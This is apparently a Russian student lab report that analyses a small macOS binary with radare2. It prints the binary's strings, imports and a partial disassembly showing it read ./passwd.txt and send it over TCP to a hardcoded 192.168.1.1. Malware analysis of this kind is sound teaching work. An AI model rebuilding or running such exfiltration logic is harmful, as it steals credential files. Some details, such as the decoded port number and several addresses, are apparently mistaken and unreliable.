

**МИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ, СВЯЗИ
И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ
Ордена Трудового Красного Знамени федеральное государственное бюджетное
образовательное учреждение высшего образования
МОСКОВСКИЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ
СВЯЗИ И ИНФОРМАТИКИ**

**Кафедра «Математическая кибернетика и информационные технологии»
(МКиИт)**

**Отчет к лабораторной работе «Исследовать загрузочный файл ex6»
по предмету «Теория и методы информационной безопасности»**

**Выполнил студент группы БВТ2351:
Николашин Игорь Юрьевич**

Москва, 2026

Краткий отчет по результатам анализа

Поле отчёта	Содержание
Фамилия ИО (номер группы)	Николашин Игорь Юрьевич
Имя файла	ex6
Список подозрительных строк	192.168.1.1 (жестко заданный адрес назначения) ./passwd.txt (путь к целевому файлу) Неверный IP-адрес, Ошибка подключения (сообщения об ошибках) [+]Подключено %s:%d.\n (статус успешного соединения)
Список подозрительных функций (имя – адрес 0x000..)	main (0x100000540) – инициализация переменных, открытие файла, создание сокета, валидация IP, установка соединения, вызов модуля отправки и очистка ресурсов. sym_send_file (0x100000470) – циклическое чтение данных из потока (fread) и их передача по сокету (send) порциями до 1024 байт.
Список подозрительных импортов	fopen, fread, fclose, feof (операции с файловой системой) socket, connect, inet_pton, send, close (сетевой стек TCP) memset (очистка сетевого буфера после отправки) printf, perror, exit (логирование и обработка ошибок) __stack_chk_fail (контроль целостности стека)
Предположение о действиях файла	Программа выполняет автоматическую эксфильтрацию : открывает локальный файл ./passwd.txt в режиме бинарного чтения, устанавливает TCP-соединение с хардкод-адресом 192.168.1.1 (порт 36895) , передаёт содержимое файла порциями по 1024 байт, очищает буфер и завершает работу. Является классическим сетевым клиентом для выгрузки данных без участия пользователя.
Примерная структура программы	1. Инициализация: запись в стек пути к файлу и IP-адреса. 2. Открытие ресурса: <code>fopen("./passwd.txt", "rb")</code> . 3. Сетевая настройка: <code>socket(AF_INET, SOCK_STREAM, 0)</code> - заполнение <code>sockaddr_in</code> (<code>sin_family=2, sin_port=0x901f</code>). 4. Валидация IP: <code>inet_pton()</code> - проверка <code>eax > 0</code> - при ошибке вывод "Неверный IP-адрес" и <code>exit</code> . 5. Подключение: <code>connect()</code> - проверка на -1 - при ошибке вывод "Ошибка подключения" и <code>exit</code> . 6. Статус: <code>printf("[+]Подключено...")</code> . 7. Передача данных: вызов <code>send_file(stream, socket)</code> - цикл <code>while(!feof) { fread(1024) - send - memset }</code> . 8. Очистка: <code>fclose(), close(),</code> проверка <code>canary</code> - <code>ret</code> .

Выводы о возможном деструктивном использовании исследуемого файла

Целевая кража учётных данных (Stealer): Жёсткая привязка к файлу passwd.txt указывает на намерение извлекать пароли, хэши, конфигурации или ключи доступа. Программа не взаимодействует с пользователем, что характерно для фоновых модулей сбора данных.

Модульная архитектура, характерная для malware-фреймворков: Логика передачи вынесена в отдельную функцию send_file (0x100000470). Это позволяет злоумышленнику переиспользовать код отправки для разных файлов или менять список целей без перекомпиляции сетевого стека.

Отсутствие криптографии и механизмов скрытности: Данные передаются в открытом виде (plaintext), без использования TLS/SSL или библиотек шифрования. Файл не упакован (stripped: false, crypto: false, низкая энтропия секций), не использует динамическое разрешение функций (dlopen/GetProcAddress) и антиотладку. Это указывает на лабораторный образец, учебный дроппер или компонент внутренней инфраструктуры, где приоритет отдан скорости разработки, а не устойчивости к анализу.

Поведенческий паттерн: При успешном запуске программа мгновенно пытается доставить критически важный файл на внешний узел (192.168.1.1:36895). В реальных сценариях такой бинарник может использоваться как первая ступень атаки после фишинга или эксплуатации уязвимости для быстрой выгрузки данных до применения защитных мер.

Особенности компиляции: Файл собран с флагами безопасности canary: true, nx: true, pic: true (компилятор clang), что усложняет эксплуатацию переполнений буфера в самом бинарнике, но не защищает от его функционального назначения как эксфильтратора.

Скриншоты

```
[0x100000470]> iI
arch      x86
baddr     0x100000000
binsz     9128
bintype   mach0
bits      64
canary    true
injprot   false
class     MACH064
compiler  clang
crypto    false
endian    little
havecode  true
intrp     /usr/lib/dyld
laddr     0x0
lang      c
linenum   false
lsyms     false
machine   x86_64_all
nx        true
os        macos
pic       true
relocs    false
sanitize  false
static    false
stripped  false
uncaps    true
subsys    darwin
va        true
[0x100000470]> iz
nth paddr      vaddr      len size section          type string
0  0x000006dc 0x1000006dc 11 12 2.__TEXT.__cstring ascii 192.168.1.1
1  0x000006e8 0x1000006e8 12 13 2.__TEXT.__cstring ascii ./passwd.txt
2  0x000006f8 0x1000006f8 17 31 2.__TEXT.__cstring utf8 Неверный IP-адрес
3  0x00000717 0x100000717 18 36 2.__TEXT.__cstring utf8 Ошибка подключения
4  0x0000073b 0x10000073b 21 32 2.__TEXT.__cstring utf8 [+]Подключено %s:%d.\n
```

```
4  0x0000073b 0x10000073b 21 32 2.__TEXT.__
[0x100000470]> iI
nth vaddr      bind type lib name
0  0x100000688 NONE FUNC      __stack_chk_fail
1  ----- NONE FUNC      __stack_chk_guard
2  0x10000068e NONE FUNC      close
3  0x100000694 NONE FUNC      connect
4  0x10000069a NONE FUNC      exit
5  0x1000006a0 NONE FUNC      fclose
6  0x1000006a6 NONE FUNC      feof
7  0x1000006ac NONE FUNC      fopen
8  0x1000006b2 NONE FUNC      fread
9  0x1000006b8 NONE FUNC      inet_pton
10 0x1000006be NONE FUNC      memset
11 0x1000006c4 NONE FUNC      perror
12 0x1000006ca NONE FUNC      printf
13 0x1000006d0 NONE FUNC      send
14 0x1000006d6 NONE FUNC      socket
```

```

[0x10000540] s main
[0x10000540] s main
[0x10000540] pdb
;-- entry0:
;-- func.100000540:
;-- rip:
327: int main (int argc, char **argv);
'- args(rdi, rsi) vars(11:sp[0x10..0x50])
0x10000540 55 push rbp
0x10000541 4889e5 mov rbp, rsp
0x10000544 4883ec50 sub rsp, 0x50
0x10000548 488b05b90a.. mov rax, qword [reloc.__stack_chk_guard] ; [0x100001008:8]=0x8010000000000001
0x1000054f 488b00 mov rax, qword [rax]
0x10000552 488945f8 mov qword [var_8h], rax
0x10000556 c745e40000.. mov dword [var_1ch], 0
0x1000055d 897de0 mov dword [var_20h], edi ; argc
0x10000560 488975d8 mov qword [var_28h], rsi ; argv
0x10000564 488d057101.. lea rax, str.192.168.1.1 ; section.2.__TEXT.__cstring
; 0x1000006dc ; "192.168.1.1"
0x1000056b 488945d0 mov qword [var_30h], rax
0x1000056f 488d057201.. lea rax, str.__passwd.txt ; 0x1000006e8 ; "./passwd.txt"
0x10000576 488945c8 mov qword [filename], rax
0x1000057a 488b7dc8 mov rdi, qword [filename] ; const char *filename
0x1000057e 488d357001.. lea rsi, [0x1000006f5] ; "rb" ; const char *mode
0x10000585 e822010000 call syn.imp.fopen ; file*fopen(const char *filename, const char *mode)
0x1000058a 488945b8 mov qword [stream], rax
0x1000058e bf02000000 mov edi, 2 ; int domain
0x10000593 be01000000 mov esi, 1 ; int type
0x10000598 31d2 xor edx, edx ; int protocol
0x1000059a e837010000 call syn.imp.socket ; int socket(int domain, int type, int protocol)
0x1000059f 8945c4 mov dword [fildes], eax
0x100005a2 c645e902 mov byte [var_17h], 2
0x100005a6 66c745ea1f90 mov word [var_16h], 0x901f
0x100005ac 488b75d0 mov rsi, qword [var_30h]
0x100005b0 488d55e8 lea rdx, [addr]
0x100005b4 4883c204 add rdx, 4
0x100005b8 bf02000000 mov edi, 2
0x100005bd e8f6000000 call syn.imp.inet_pton
0x100005c2 83f800 cmp eax, 0
0x100005c5 7fd2 jg 0x1000005f4
[0x10000540] ret

```

(весь граф на скрин не поместится, но вот его часть)

